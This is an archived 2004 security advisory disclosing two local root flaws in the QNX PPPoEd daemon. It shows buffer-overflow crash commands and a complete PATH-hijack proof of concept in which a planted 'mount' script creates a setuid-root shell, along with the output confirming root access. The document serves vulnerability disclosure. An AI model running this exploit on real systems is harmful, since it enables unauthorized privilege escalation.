home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / qnx / local / qnx-pppoed-multiple-flaws.txt < prev   
Text File  |  2005-02-12  |  3KB  |  81 lines

  1.                 *** rfdslabs security advisory ***
  2.  
  3. Title: QNX PPPoEd local root vulnerabilities [RLSA_01-2004]
  4. Versions: QNX RTP 6.1 (possibly others)
  5. Vendor: http://www.qnx.com
  6. Date: 02 Sep 2004
  7.  
  8. Author: Julio Cesar Fort <julio at rfdslabs com br>
  9.  
  10.  
  11. 1. Introduction
  12.  
  13.    PPPoEd daemon is used to provide a PPPoE connection, such as DSL, for QNX
  14. users. More information can be found at QNX Developer Support:
  15. www.qnx.com/developers/docs/momentics621_docs/neutrino/utilities/p/pppoed.html
  16. There are two vulnerabilities that can lead to local root access.
  17.  
  18. 2. Details
  19.  
  20. #1 Buffer overflow
  21.  
  22.    PPPoEd has multiple problems with bounds checking. Almost every flag with
  23. oversized length crashes PPPoEd, overwriting memory. Once it is by default suid
  24. owned by root, an attacker can execute arbitrary instructions to elevate privi-
  25. ledges. Above is an example to cause this overflow.
  26.  
  27. $ export overflow256='AAAAAAAAAAAAAAA(...)' (around 256 A's)
  28. $ /usr/bin/pppoed -F $overflow256
  29. Memory fault (core dumped)
  30. $ /usr/bin/pppoed service=$overflow256
  31. Memory fault (core dumped)
  32. ...
  33. And it repeats in 'name', 'en', 'upscript', 'downscript', 'retries', 'timeout',
  34. 'scriptdetach', 'noscript', 'nodetach', 'remote_mac' and 'local_mac' flags.
  35.  
  36.  
  37. #2 Old $PATH trick
  38.  
  39.    PPPoEd calls "mount -T io-net npm-pppoe.so" without full path. If someone
  40. wants to cheat PPPoEd and tricks it to execute his own malicious code, it can
  41. be possible modifying $PATH. With this modification, '/usr/sbin/pppoed' will
  42. simple execute 'mount' (hostile code) looking for it at /tmp directory.
  43. Simple proof-of-concept steps are above.
  44.  
  45. $ cd /tmp
  46. $ cat << _EOF_ > mount
  47. #!/bin/sh
  48. cp /bin/sh /tmp/rootshell
  49. chown root /tmp/rootshell
  50. chmod 4777 /tmp/rootshell
  51. echo "Here comes your root shell"
  52. _EOF_
  53.  
  54. $ chmod 755 mount
  55. $ export PATH=/tmp:$PATH
  56. $ /usr/sbin/pppoed
  57. $ ls -la /tmp
  58. -rwxr-xr-x    1 sandimas users          88 Aug  25 2004 mount
  59. -rwsrwxrwx    1 root     100        153384 Jun  22 2001 /tmp/rootshell
  60. $ /tmp/rootshell
  61. Here comes your root shell
  62. # uname -a
  63. QNX sandimas 6.1.0 2001/06/25-15:31:48 edt x86pc x86
  64. #
  65.  
  66. 3. Solution
  67.  
  68.    rfdslabs tried to contact QNX Software Systems but no security staff e-mail
  69. was found. No solution yet.
  70.  
  71. 4. Timeline
  72.  
  73. 27 Aug 2004: Vulnerabilities detected;
  74. 28 Aug - 01 Sep: Looking for QNX security staff contact e-mail: no success;
  75. 02 Sep 2004: Advisory written and sent to security mail-lists.
  76.  
  77. Thanks to DataStorm Technologies, Lucien Rocha and everyone at rfdslabs.
  78.  
  79. www.rfdslabs.com.br - computers, sex, humand mind and more
  80. Recife, PE, Brazil
  81.